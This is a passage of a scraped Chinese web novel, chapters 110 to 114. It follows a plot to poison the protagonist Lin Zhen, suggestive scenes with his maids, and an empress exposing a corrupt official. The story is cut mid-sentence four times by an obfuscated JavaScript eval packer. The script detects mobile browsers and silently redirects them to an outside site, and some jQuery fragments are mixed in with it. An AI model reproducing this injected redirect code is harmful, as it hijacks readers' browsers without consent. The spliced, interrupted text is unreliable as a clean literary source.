细节都透露出一种超然物外的淡然与从容:“世子,先吃饭吧。” 晴雯冷哼道:“哼,你干什么对他那么好!真是的,平日伺候的殷勤,也没见你比我多点什么!” 浣碧给了晴雯一个眼神,意思你别说了,一会儿世子该生气了。 林臻才不会和小姑娘计较呢,拿起筷子胡乱的吃了一口便准备继续自己的事情,浣碧说道:“世子,刘大人来了,正在夫人房里说话呢。” “刘翰阳?他怎么又来了?” 浣碧面露难色:“他毕竟是夫人的父亲,想进来,我们也不好阻拦。” “呵,估计是又在密谋什么吧,派人盯着点。” 刘翰阳已经被彻底打入谷底,不仅家里的宅院工程烂尾,商号被查封,家中所有子女更是都受到了不同程度的贬谪,就连他自己在朝中也是人人喊打,估计用不了几天也会贬到地方上。 他来找刘书瑶不外乎是寄希望于女儿身上,希望她可以再帮帮忙。 殊不知,林臻压根就没打算让这个老家伙活下去。 奶奶的,谈到这件事情就来气。 刘家受深林家大恩,刘翰阳此人非但不思回报,竟然还和林家的政治对手联合,要一起搞垮林家。 这样吃里扒外的狗东西不赶紧弄死还等什么? 只是林臻目前没腾出手来,等乾楚大战结束之后,再一起清算。 林臻迅速用完了餐,浣碧细心地以手绢拭去他嘴角残留的一抹汤汁,动作轻柔而细致。 就在这时,林臻突然出手,出其不意地握住了她尚带着温热的手,眼中闪烁着温柔:“昨天是我不好,今天补给你。” 浣碧的手轻轻一颤,如同受惊的小鹿,眼中闪过一丝慌乱:“世子,您说什么呢” 言罢,她心虚地望向一旁的晴雯,后者正以嘴角微翘的姿态,投来一抹略带调侃的目光。 林臻见状,嘴角勾起一抹笑意:“昨天不是答应你” 话音未落,浣碧已慌忙伸手捂住了他的嘴,脸颊瞬间染上几抹绯红,仿佛被烫到一般,赶紧又捂着脸匆匆逃离现场。 第110章 今晚,我们一起去伺候林臻。 沁心园厢房内,刘翰阳面色凝重,端坐在椅子上。 对面床榻边轻倚着刘书瑶与小翠,两人身影在昏黄的烛光下显得格外柔弱。 刘书瑶的泪水似已流尽,唯有间断的啜泣声如同细雨轻拂过静夜,带着无尽的哀愁与委屈,在空气中缓缓弥漫。 “呜呜呜爹,我们到底该怎么办啊她的声音细若游丝,却满载着难以言喻的苦楚。 刘翰阳的目光落在手中的那翠绿色小瓶子,瓶身在他粗糙的掌中折射出冷冽的光。 “事已至此,我们除了破釜沉舟之外,已经别无他法了。话语间,室内氛围愈发沉重。 刘书瑶轻轻拭去眼角的泪痕,声音中带着一丝哽咽与不解:“父亲,如何才能破釜沉舟? 刘翰阳没有直接回答,而是缓缓将目光转向窗外。 那里夜色如墨,仿佛隐藏着无数未知与挑战。 他向一旁的小翠递去一个微妙的眼神,后者立刻心领神会,悄无声息地退出房间,警惕地守在门外。 确认四周安全无虞后,刘翰阳压低嗓音:“书瑶,这里面是西域奇毒,极乐水。 “父亲!刘书瑶的声音里满是惊恐与不解,她几乎要失声惊呼:“你要做什么? “小点声!刘翰阳迅速打断她,眼神中闪烁着决绝的光芒:“我刘家活不下去了,他林家也别想好!林臻不是馋你的身子吗?你就把这个涂在胸口,只要他敢入口,三日内必死无疑!而且无人能窥破其死因! 刘翰阳的眼神如刃,透着狠绝。 “七年前,我为给顾家献上投名状,就是用这个东西毒死了林臻的父亲林童,今日,老夫要林臻也步上其父后尘,重尝那绝望的滋味! “什么?!!刘书瑶闻言,惊得花容失色,瞠目结舌。 她对林童如何陨落一点都不关心,但一想到要亲手将毒物送入林臻体内,终结其性命,那份胆寒与恐惧,绝非言语所能尽述。 更何况,一旦林臻真的遭遇不测,刘家,乃至整个朝廷,能承受住林震仙狂风暴雨般的报复吗? 届时,那将是怎样一番天翻地覆的动荡? “可是父亲。刘书瑶颤声开口,言语间满是对未知后果的深深忧虑,“林臻死了,林震仙岂会善罢甘休! “哼,他甘不甘休与我何干?只要能让林家倾覆,老夫便能借机重返权力巅峰,到那时,刘家必将凤凰涅槃,重焕辉煌! 刘翰阳已经快疯了。 由俭入奢易,由奢 入俭难。 已经习惯做人上人的刘翰阳,对眼前这卑微、贫瘠的生活充满了难以名状的憎恶与不甘。 刘书瑶神色为难,轻轻咬着下唇,心中满是纠结与苦楚:“可是,父亲,林臻已有数日未曾亲近女儿了” 刘翰阳闻言,眉头紧锁,疑惑道:“这是为何?莫非你又做了什么让他不悦之事?” 刘书瑶面露难色,支吾半晌,终是低声道:“陛下寿宴那天,女儿私下与北辰相见,不料又被林臻撞见他们还将北辰留住,不让他进宫。” “什么!?逆女!”刘翰阳怒不可遏,抬手便是一记响亮的耳光,狠狠甩在刘书瑶脸上。 “啪!” “啊!””一声脆响,刘书瑶痛呼一声,捂着脸庞,踉跄着跌倒在柔软的床榻之上,眼中满是惊愕与委屈的泪光。 刘翰阳怒骂道:“你这不争气的下贱东西!只要林家倾覆,顾北辰还不是要乖乖落入你手中,你却连这几日都熬不过来?你非要将我活活气死才甘心吗?!” “父亲.女儿知错了,女儿再也不敢了。”刘书瑶颤抖着许诺,“女儿向您保证,在林家覆灭之前,我绝不会再去见北辰了呜呜呜.” “事到如今说这些还有何意义?”刘翰阳冷哼一声,语气中满是失望与愤怒:“我到现在才知道,顾北辰没去参加寿宴竟然是因为你!陛下对顾家的态度已经日渐冷淡,反而愈发看重林臻。若林家永远不倒,你将永远不可能和顾北辰在一起!” “呜呜呜”刘书瑶的哭声细若游丝,却满载着无助与绝望,在这静谧的厢房内回荡。 刘翰阳的声音如雷鸣般炸响:“够了!你立刻想办法勾引林臻。只要他死了,我们就还有希望!你也就还能见到顾北辰,否则我们全家都要去见阎王!” 言毕,刘翰阳气呼呼地甩袖而去,步伐沉重地踏出厢房门槛。目光掠过依旧尽职尽责地站在门口把风的小翠,他冷冷地丢下一句:“你们好自为之。”随即,身影消失在门外的夜色中。 刘书瑶呆呆地望着手中紧握的小瓶子,瓶身反射着微弱的光线,仿佛在诉说着一个不为人知的秘密。她的眼神空洞而迷茫,仿佛整个世界都失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789243|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了色彩。 小翠轻轻走进屋内,见刘书瑶这般模样,心中也不免泛起一丝同情。她轻步上前,想要安慰,却又不知从何说起。 刘书瑶动作敏捷,不动声色地将那只瓶子藏起来。随后轻轻拭去面上的泪水,嘴角勾起一抹若无其事的浅笑,淡然问道:“父亲走了?” “嗯。” 小翠点点头,还不知道发生了什么。 刘书瑶的眼神瞬间变得坚定起来。 “今晚,我们一起去伺候林臻。” 小翠闻言,不由得惊呼出声:“啊?小姐,为什么呀!奴婢不想伺候那个人渣。” 刘书瑶温柔地安抚着小翠的惊慌,眼中闪烁着狠辣的光芒:“别怕,这是我们最后一次伺候他了,今夜过后,林家就将彻底覆灭。” “真的!?”小翠眼睛一亮。 “真的,这次我们联手,一起戏弄他!”刘书瑶轻轻撩开小翠的衣裙,香肩微露,肚兜的细绳隐约可见,添了几分诱人风情, “到时候你的衣服就这个样子裙摆也拉上来,把腿露出来!你的肚脐特别好看,也应该露出来。我就不信,这么漂亮的小翠还勾引不了那个臭男人。” “小姐,这可使不得!如此装扮,实在有失体统!”小翠面色羞赧,连忙劝阻。 刘书瑶笑得狡黠:“你怕什么,到时候我也会这么穿,甚至比你穿得还少呢!” “可是小姐,我们到底为什么要这样啊?” “当然是要勾引林臻了,只要这次勾引成功,你我就是还大乾朗朗乾坤的功臣!届时我会帮你解除奴籍,嫁给北辰做妾,共享荣华富贵。而我俩,将永远情同姐妹不离不弃!” “真哒!”小翠的眼中瞬间绽放出璀璨的光芒,对于她而言,解除奴籍、成为主子,无疑是世间最大的诱惑。 刘书瑶眼里闪过一抹不忍,但还是说道:“真的.” “谢谢小姐!那奴婢应该穿得更少一些才好,这样才能诱惑林臻那个败类!” 说着小翠竟主动把鞋袜脱掉,挽起裙摆,露出好大一截美腿。 上衣也解开扣子,露出里面的白色亵衣和绿色肚兜,香肩大片雪白,在烛火下透着光泽。 千呼万唤始出来,犹抱琵琶半遮面算被小翠演绎得淋漓尽致,别说林臻了,就是太监看了都得有想法。 第111章 碧儿别怕,很快不就疼了 夜幕低垂,月华如练,浣碧依循旧例,轻手轻脚地为林臻洗着双足。 屋内烛光摇曳,映照着一片温馨而宁静的氛围。 此刻,晴雯这小精灵般的身影就矗立在门边,仿佛一尊门神,眼神在林臻与浣碧之间流转,又不时瞥向门外,机警异常。 她口中喃喃自语,声音虽细若蚊蚋,却在这静谧的空间里清晰可闻:“哼,今儿个我就在这儿站岗了,我倒要瞧瞧,哪个不长眼的敢来和浣碧姐姐抢这份恩宠! 自暮色四合以来,浣碧的脸颊便如染霞般绯红,此刻听了晴雯这番孩童气的话语,更是羞得恨不得找个地缝钻进去,手上的动作也因此变得有些慌乱,多了几分不自然。 林臻见状,轻轻抽回自己的脚,从浣碧手中接过温热的毛巾:“我自己来! 浣碧闻言,嘴角微扬,眼中闪烁着几分羞涩,轻巧地将那盆洗脚水端起,款步移至晴雯身旁,递予了她。 晴雯自然而然地接了过来,正欲转身关门,却忽见刘书瑶与小翠自夜色中袅袅而来。 二人衣衫单薄,近乎轻纱蔽体,白花花的长腿和香肩在这朦胧夜色中更显几分妩媚之色;瀑布般的秀发高高盘起,高傲的天鹅颈妖娆不羁。 走过路过的小厮都看傻了,险些一头栽进井里。 晴雯心中不悦,手腕一抖,那盆洗脚水便化作一道弧线,不偏不倚地洒在了她们脚边。 温热的水珠跃上刘书瑶纤细白皙的小腿,她脸色骤变,怒意瞬间涌上眉梢:“你这下贱的婢子,怎敢如此无礼!? 晴雯轻轻翻了个白眼,嘴角勾起一抹不屑的笑意,语气中带着几分戏谑:“哎呀,夫人何必动怒呢,奴婢又不是故意的,您大人有大量,就别跟我这小丫头片子计较了嘛~ 刘书瑶气得浑身发抖,拳头紧紧攥在一起。 小浪蹄子,等林臻嗝屁以后,老娘第一个弄死你! 然后就是浣碧那个不要脸的小娼妇! 你们这些一个个往林臻身边凑的臭娘们都给我等着瞧吧,一个都别想好过! 见晴雯掐着腰不服气的样子,刘书瑶暗暗把这口气咽下去,问道:“世子可在屋里吗? “在啊,但是他恐怕没时间见你。 身为王府少夫人,后院的当家主母,竟然穿得像个卖肉的歌姬,全无半点尊贵之气。 就这还好意思来见世子呢。 刘书瑶柳眉轻 挑,追问一句:“有客人?” 晴雯回应得不冷不热,却字字坚定,毫无退缩之意:“客倒是没有,不过浣碧正在里面伺候着呢。” “岂有此理!难道说世子会因为个下贱的奴婢而不见我吗?让开!” “不可!世子有令,今夜,任何人不得踏入此屋半步!” “你!” 刘书瑶怒目而视,正欲与晴雯争执个高下,忽而,屋内传出一声尖锐的呼喊。 “啊!” “世子!!!” “碧儿别怕,很快不就疼了。” 紧接着,屋内传来阵阵缠绵悱恻、引人遐想的低吟浅唱。 已为人妇的刘书瑶自然明了那声响中的意味,只是她万万未曾料到,林臻竟会对一名卑微的奴隶如此宠爱有加。 甚至宠爱到如此地步! 晴雯亦捕捉到了那丝丝缕缕的声息,嘴角勾起一抹浅笑,贝齿微露,显得分外动人:“夫人若是不着急,就在这等等吧,世子应该很快就完事。” 呵。 刘书瑶冷笑。 林臻快不快她还不知道么? 新婚之夜当天,林臻可是活生生折腾了她一个晚上!一会儿游龙戏凤,一会儿老树盘根,想想就羞耻。 加上小翠以后更是过分,一连两个时辰都不停。 小翠轻轻垂首,目光不经意间掠过自己裸露在外、白皙如玉的大腿,一抹为难之色悄然爬上眉梢。她怯生生地扯了扯身旁刘书瑶的衣袖,问道:“夫人,我们怎么办呀。” 后者也不知道该如何是好。 自己已经穿成这个样子,并且还让最能说的晴雯看到了,用不了一天时间,王府上上下下所有人就都会知道自己穿成这个样子来勾引林臻。 若林臻被勾引也就罢了,闲话也传不了几天,林家就会彻底烟消云散。 可若是他不被勾引,或者林臻根本没有召见自己,那自己这张脸往哪搁啊? 本来现在那些奴才丫鬟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789244|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不拿自己当回事,再有这么件事,他们将更不把自己放在眼里了。 刘书瑶思前想后,还是下定决心道:“我们.等等吧。” “我们就穿成这个样子等吗?” “可是现在回去换衣服也来不及了啊,万一林臻结束了呢?” “可是.”小翠还扭捏着不太愿意。 刘书瑶斩钉截铁地道:“就这么办了,我们就在门口等着。我就不信,冲我们这份诚心,林臻还能不为所动!他当年可是屁颠屁颠跟着我的!” 刘书瑶又想起当年林臻对她的付出与感情,渐渐鼓起勇气,下定决心。 今天一定要让林臻把毒药舔干净。 若是他能死在我面前最好!我一定会笑着看他绝望的样子! 只要林臻一死,林家就会迅速灭亡,那样我就可以早日和我的北辰在一起了! 她把衣服往胸围子里掖掖,拉着小翠坐在凉亭下面。 晴雯露出几丝冷笑,反身推门走进屋内。 此刻卧房里的味道十分旖旎,仿佛只要走进去就会脸红。 却见浣碧眼角有着尚未干涸的泪水,也不知道是疼痛还是幸福。 “世子!” “别叫世子,叫父亲。” “啊?为什么?” “别问,就这么喊我。” “是,父亲大人!” 晴雯虽然平时言语大胆,但如今看到这真刀真枪的一幕也有些脸红,她低下头去说道:“世子,夫人和小翠来了,就在门外。” 林臻头也不回地说道:“说什么事情了吗?” “没有,她们只是穿着暴露,像个风尘女子似的,说要见世子。” “让她们等着吧,我现在没功夫。” “是。” 晴雯赶紧闪身退了出去,生怕破坏林臻和浣碧的情绪。 晴雯走出来,仿佛是对空气喊道:“世子说了,让你们等着吧。” 言罢她从小荷包里掏出瓜子,坐在小马扎上漫不经心地磕着。 她今天说死就是要站在门口为林臻和浣碧把风,任何人不得进去。 即便是刘书瑶也不行。 这一坐,就是一夜. 第112章 需要林臻嘴对嘴的教授 暂且让林臻和浣碧先折腾着我们来说说顾府这边。 顾云霆因廉强之事怒火攻心竟至昏厥。 顾北辰心急如焚一口气请来十几位京城名医合力施治这才在晚间醒来。 顾云霆苏醒之际神色尚未完全恢复第一句话便颤声问道:“廉强.廉强如何了?” 顾北辰跪在床边闻此一言连忙答道:“父亲廉强已被圣上急召入宫随后大批御林军涌入廉府将其家眷、丫鬟仆役悉数羁押至刑部大牢。更有甚者在其宅邸中搜出了诸多珍贵字画与珠宝还有大量黄金现银廉家只怕是完了。” “廉强.咳咳!”顾云霆猛地一阵咳嗽随后一口淤血喷涌而出他颤抖的手指直指顾北辰声音中满是愤怒与绝望“逆子!你怎敢如此轻率行事!廉家不仅是与我们唇齿相依的战略盟友更是先皇倚重的肱骨之臣是我们共同制衡林震仙的重要力量!你现在把他供出去这不是在帮林震仙铲除异己吗?” “父亲孩儿本意是想给那林臻致命一击让他万劫不复的。” 顾北辰面色惨白声音中带着一丝无奈与懊悔:“只是那林臻狡猾异常言辞犀利竟将矛头一转直指廉家孩儿也被打得措手不及。” “林臻的诡辩之才早已是臭名昭著你与他争辩岂不是羊入虎口自取其辱?除掉王胖子对林震仙来讲根本算不上重创一个少年将军而已四大营里有上千个!但廉强家受灾对我们来说就是近乎于灭顶之灾!” “为什么?廉强有这么重要吗?” 顾云霆喷出一口血沫子:“你是不是傻逼?自祖父辈起廉家与顾家便情同手足患难相扶。廉家手中握有顾家无数隐秘那些足以令陛下震怒的真相一旦被曝光出去纵使林震仙尚在人世也难逃陛下雷霆之怒!到时丞相之位换人坐 “啊!你是说之前与赵国大战的事情廉家也知道?” 顾云霆闻言心如死灰眼帘缓缓合上答案已不言而喻。 十年前赵国东进犯边林震仙领兵出征。 而顾云霆却因为贪污大发国难财教唆军器监打造的兵器、铠甲纯度不足导致将士们在前线一触即溃血流成河。 林震仙无奈兵退百里开启守城战。 这一战乾国元气大伤。 林震仙大闹朝堂声嘶力竭字字泣血痛斥工部与军器监里通卖国。 然而先帝被顾家与一众奸佞所蒙蔽加之年事已高子孙尽 丧,心中那份曾经的壮志豪情早已被岁月消磨殆尽。面对这内忧外患之局,他终是无奈地选择了与赵国议和,割让山西。 这一战,成为了林震仙心中永远无法愈合的伤痕,更如一把利刃,深深刺痛着乾国每一个子民的心。 而这件事情的始作俑者,就是顾家和廉家。 后来为了保住秘密,军器监正监被秘密杀害,家眷全部活埋;所有劳工被处死。 从此,那段屈辱与背叛的历史,被深深地埋藏在了历史的尘埃之中。 可以说,顾家与廉家是一根绳上的蚂蚱,彼此的命运紧紧相连,一荣俱荣,一损俱损。 然而,顾家竟背信弃义,将廉家推向了深渊。 以廉强的性格绝对会不顾一切地临死反扑,拉着顾家陪葬。 念及此景,顾云霆猛地睁开了一双充血的眼睛:“我们必须要立刻想办法把廉家的家眷救出来!这样才能争取最后一线生机。” 顾北辰试探性地问道:“父亲的意思是,用廉强的家眷和他谈判?” “对!” “父亲放心,此事孩儿定能办得妥当。”言罢顾北辰就要走。 顾云霆担心他再出什么差错,于是问道:“你要怎么办?他们可是朝廷钦犯!索立文那个墙头草是不会给你这个面子的。” 索立文就是刑部尚书。 顾北辰目光里闪烁着奸诈的寒芒,笑道:“呵呵呵,父亲难道忘了?索立文也有把柄在我们手里!” “唔用廉家家小的命换这个把柄,值得。你去吧,一切小心!千万不能再出任何差错了!” “是。”顾北辰匆匆而去,顾云霆大喊道:“来人!更衣!老夫要进宫面圣。” 宫闱深处,一盏长明灯静静燃烧,不灭的光芒映照着慕容嫣打在屏风上的身影,飘飘忽忽,十分灵动。 此刻,她正细细审阅着百骑司呈上来的密报。 自从这个情报组织运作起来之后,慕容嫣算是尝到了甜头。 那些权倾朝野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789245|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的重臣,像林臻,顾家等等都逃不脱她的法眼,甚至他们的每一个细微动作,每一次私下交谈都在监视之下。 这份将局势握于掌心的感觉委实令人陶醉。 慕容嫣嘴角不经意间勾起一抹浅笑,享受着这份至高无上的掌控感,仿佛整个帝国的脉动皆随她的心意而跳。 其实说到底,慕容嫣对廉家贪污的事情并没有很生气。 自古以来,贪官常见。 这世间为官者,没有哪个是禁得 住调查的。 有顾家贪污的事情珠玉在前,慕容嫣心中自是早有了几分准备。 再者,于她而言,贪污之恶尚不及草菅人命那般令人发指。毕竟,那些官员贪得再多,到头来也不过是替朝廷暂管,迟早得如数奉还。 只能说慕容嫣还是想得太简单了。 很需要林臻过来,嘴对嘴地给她上上课。 此刻慕容嫣表情深邃莫测,沉默不语,喜怒难辨,让人捉摸不透她的心思与打算。 而廉强则是僵坐在简陋的小马扎上,丝毫不敢妄动。 自踏入议政殿,他便被安置于此,心中满是对慕容嫣此次召见的疑惑与忐忑。 他完全不知道自己的家眷已经被抓起来了,数百御林军正在他家里翻天覆地地找财宝呢。 正当殿内气氛压抑至极之时,一阵轻盈的脚步声打破了沉默,嬛嬛手捧一盏尚带着丝丝温意的茶水,自屏风后款步而出,轻轻放置于慕容嫣面前的龙纹案几上,声音柔和却带着不容忽视的恭敬:“陛下,马车行的事情奴婢已经交代人去办了,明日就可以营业。” 言罢,她静静地立于一旁,等待着下一步的指示,整个动作行云流水,尽显宫廷中的训练有素与沉稳,难怪慕容嫣会对她如此喜欢。 慕容嫣大笑道:“妙哉!哈哈哈哈,林臻此番怕是要欲哭无泪喽~” 她对从林臻手中巧妙夺得马车行的这段小插曲,始终抱有难以言喻的欢喜。更准确地说,任何能让林臻略感挫败之事,她都很热衷。 这并非意味着慕容嫣对林臻有何深重的厌恶,而是一种源自内心深处的挑战强者的乐趣,一种棋逢对手、智勇交锋的快意。 第113章 慕容嫣竟然有和林臻一样的笑声 时光匆匆,月已偏西,悄然越过子时的门槛。连那夜行的乌鸦也噤了声,安静地栖息在屋檐之上,享受着这难得的宁静。 廉强则是精神抖擞,毫无困倦之意,仿佛这夜的深沉与他无关。 慕容嫣不说话,他也不敢多问,只能静静等着。 直至身着玄色飞鱼服的百骑司密探步入大殿,悄无声息地将一封密报置于龙案上。 览毕密信,慕容嫣的唇边终是漾起一抹笑意:“呵呵呵,廉爱卿。” “臣在,陛下!” 终于跟我说话了。 廉强闻言,连忙起身,对着慕容嫣恭敬地行了一礼。 慕容嫣的笑声和林臻很像,都有种夜猫子进宅的感觉。 “呵呵呵,你为官多少年了?” 廉强有些摸不着头脑。 让自己从傍晚等到半夜,难道就是为了和自己拉家常? 不可能,这里面绝对有事儿。 而且廉强觉得肯定不是好事。 “额臣十六岁入仕,二十一岁为殿试榜眼,多年来一直在工部任职,想来也有三十余年了。” “三十载光阴匆匆唉,彼时朕的母后,也不过是个豆蔻年华的少女罢了。”慕容嫣轻声叹息,语气中带着几分缅怀与感慨:“这悠悠岁月,爱卿可还安好?” “呃承蒙陛下圣恩庇佑,微臣虽无大富大贵,却也勉强能够衣食无忧。” “衣食无忧?呵呵呵,”慕容嫣的笑声中带着几分玩味,“廉侍郎府中十六房娇妾环绕,膝下更有十子七女承欢,这等风光,岂是寻常温饱之家所能企及?说来,朕心中倒生出几分羡慕之情呢。” 廉强的额头已经渗出细密的汗珠。 他隐约觉得慕容嫣话里有话,但又想不明白她到底要干什么。 “呃,微臣不过是仰仗陛下浩荡皇恩,在这乱世之中勉强维持生计罢了。况且,成家立业亦是朝廷倡导之举,微臣应当未曾触犯律法吧?” “哦?勉强维持生计?”慕容嫣的语调平静无波,仿佛是在叙述一件再寻常不过的琐事,却让廉强的心头猛地一颤:“贪污一百六十万两的人也算勉强维持生计吗?这应该是大富大贵吧?” “啊?我”廉强眼中瞳孔猛地一缩,满脸愕然地盯着慕容嫣,一时之间,不知所措,“陛下.” 廉强刚欲开口辩解,却见慕容嫣一把抓起桌上的奏折,狠狠掷到他面前,声音中满是愤怒:“廉强,你太让朕失望了!” “陛下!臣冤枉啊!陛下!” 廉强吓得脸色惨白,慌忙跪倒在地,身体微微颤抖,不住地磕头喊冤。 慕容嫣缓缓立身,步伐沉稳地踱至廉强面前,双眸犹如炬火,闪烁着不容丝毫抗辩的帝王之威,自上而下,以一种睥睨的姿态审视着他。 “廉强,朕等了你一个晚上,就是在等你自己主动承认,但是你却没有。如今铁证如山,你藏在后花园地下的钱都已经被挖出来了,你还在狡辩!” 廉强闻言,猛地抬首,眼中满是不可置信的震骇。 慕容嫣既然这么说了,那便意味着他的府邸已然遭到抄查,说不定此刻妻儿家眷正身陷囹圄。 而那花园中藏匿的财宝,想来也是她们所供认不讳的。 望着这位昔日的老臣,慕容嫣心中满是失望,她缓缓闭上了眼睛,从牙缝中艰难地挤出一句话来:“朝中还有哪些人贪赃枉法,你所知晓的,都一五一十地说出来,朕可以饶你不死!” “陛下.臣.”廉强的话语中带着哽咽。 他无力地瘫坐于冰冷的地面上,眼神空洞,仿佛灵魂已游离于躯壳之外。 完了。 全完了。 廉家百年基业,今天终于是毁于一旦了。 若他此刻身处宫外,尚能有些许周旋余地,哪怕倾尽家财,也要为亲人铺设一条生路。 可现在自己竟然在皇宫里,没有任何可以反击的机会,甚至连消息都没办法传出去。 由此可见,这是慕容嫣蓄谋已久的计划! 太厉害了。 事前竟然没有半点风声。 可是她为什么不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789246|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上发难,偏偏晚上突然把自己叫来。 难道说,白天的时候她还不知道这件事情? 那检举自己的人,不是林臻就是顾北辰! 但廉强不认为顾北辰会做出这样的事情来,两家是一条绳上的蚂蚱,谁死了,另一方都别想脱离干系。 那就是林臻了! 这个背信弃义的小人,杀了我儿子,还竟敢诓骗我,老夫就算是死,也要拿你当垫背! “陛下!老臣知罪但是陛下,您可知道昨天林臻杀了老臣的儿子?” 慕容嫣微微颔首:“朕知道。” “啊?您知道?那您为什么如此包庇他?” “放肆!你这是在质问朕吗?”慕容嫣怒喝一声,但不知道为什么,慕容嫣打心眼里不希望廉强冤枉林臻,于是又解释了一句:“你儿子死有余辜,但并非是林臻检举的你。” 不是林臻? 那就是顾北辰! 草你吗的,老夫跟你顾家合作几十年,你们居然在背地里敢坑我! 那大家就都别想好! 廉强眼中满满都是复仇的火焰,他跪直身体喊道:“陛下!臣要检举顾云霆!” “说吧。”慕容嫣给了百骑司探子一个眼神,后者会意,立刻开始用纸笔记录。 就在廉强打算揭发顾家的时候,殿外突然走进来一个小太监,就像商量好似的,非常巧合。 “陛下!顾相在殿外求见。” 他来做什么? 慕容嫣眉头一皱,隐约觉得这里面有事儿。 但顾云霆是丞相,又不好不见,于是挥挥手:“叫他进来吧。” “是。” 顾云霆脸色惨白,急匆匆的走进来。看到廉强瘫坐在地上,哪里还不明白发生了什么事情。 看来廉家的事情已经败露了,此刻再狡辩已经没有任何意义,只能直言相劝。 但求廉强还没有把当年的事情捅出来,否则自己今天也难逃厄运。 “参见陛下。” “顾相,这深更半夜的,有何事情啊?” 第114章 大家都是一起糟践国家钱的好朋友啊 顾云霆从没有大半夜的来找过慕容嫣,今天突然前来肯定是有事情。 而且慕容嫣隐隐觉得,肯定是关于顾、廉两家的大事情! 否则顾云霆不会这么焦急。 想来,廉强此人,定是手握顾家诸多不为人知的秘密。 顾云霆在慕容嫣面前连脑门上的汗都不敢擦,他连忙解释道:““微臣惊闻工部侍郎廉强府邸骤遭搜查,心中焦虑万分,特来面见陛下,恳请圣裁。望陛下念及廉强一生勤勉,忠心耿耿,四十载春秋,风雨兼程,即便无功,亦有苦劳的份儿上,能网开一面。” “哦?”慕容嫣轻轻扬起秀眉,目光如炬,随即转身,优雅地坐在龙椅上,语气中带着一丝玩味:“那你倒是说说,你是如何断定他忠君爱国的?” 顾云霆闻言,神色略显紧绷:“陛下,廉侍郎为官数十载,勤勉不辍,从未有过半点疏漏,实乃我大乾王朝的栋梁之才,更是先帝生前屡屡称赞的忠臣。即便.偶有失误之处,但念及他往昔的赫赫功勋,也应予以宽容,网开一面,不失为彰显陛下仁德之举。” 慕容嫣轻吟一声,眸光如刃,直视着廉强,缓缓道:“嗯,朕亦觉顾相之言颇有几分见地,可是.廉侍郎究竟要不要这个机会呢?” 廉强身躯猛地一颤,瞬间领悟了慕容嫣话中的深意。 一旦他坦诚相告那些贪腐之事,或许能得她一线宽宥;但若固执抗拒,严惩不贷自是难免。 但那些被自己供出来的官员会饶过自己和家人吗? 毕竟大家都是一起贪污,一起糟践国家钱的好朋友啊! 唉—— 廉强内心暗自叹息,终是勉强支撑起身子,面上的神色尽是难以掩饰的萎靡 就在他缓缓起身的那一刻,顾云霆的动作却如同惊雷般在他眼前炸响——他猛地张开手掌,险之又险地从廉强的眼前掠过。 廉强定睛细看,只见顾云霆那宽大的右手掌心中,竟赫然写着六个字! 妻儿已救,慎言。 什么意思? 难道说他已经把自己的亲人都救出来了? 可是这件事情明明是你儿子捅出来的啊!现在你又要我慎言,什么路子? 难道,这是在暗示自己不要把十年前的事情说出去吗? 不可能,绝对不可能! 我本来有很美好的生活,我本来可以稳稳当当混到退休,但因为你儿子的一句话让我晚年不得安生。如今,你试图以我家人的安危为交换,剥夺我最后一线希望,我岂能轻易就范? 除非在你身上得到足够的好处! 廉强猛地站起身,脸上浮现出一抹决绝之色,他坚定地望向慕容嫣,随后缓缓颔首道:“陛下,微臣愿意。” 慕容嫣的嘴角勾起一抹满意的狞笑,她轻轻点头,目光中闪烁着狡黠的光芒:“如此甚好,那顾卿家以为,对于廉侍郎此番行径,该当如何论处呢?” 顾相微微一怔,随即斟酌着言辞道:“依微臣之见,念及廉侍郎多年来勤勉辛劳,不如就网开一面,将其全家贬为庶民,赐予几亩薄田,让他们得以告老还乡,安度余生吧。” 对于廉强的罪名来讲,这是个不轻不重的惩罚,恰到好处的留有余地。 而且顾云霆认为慕容嫣也会答应,毕竟廉强曾是他父亲信赖的老臣。 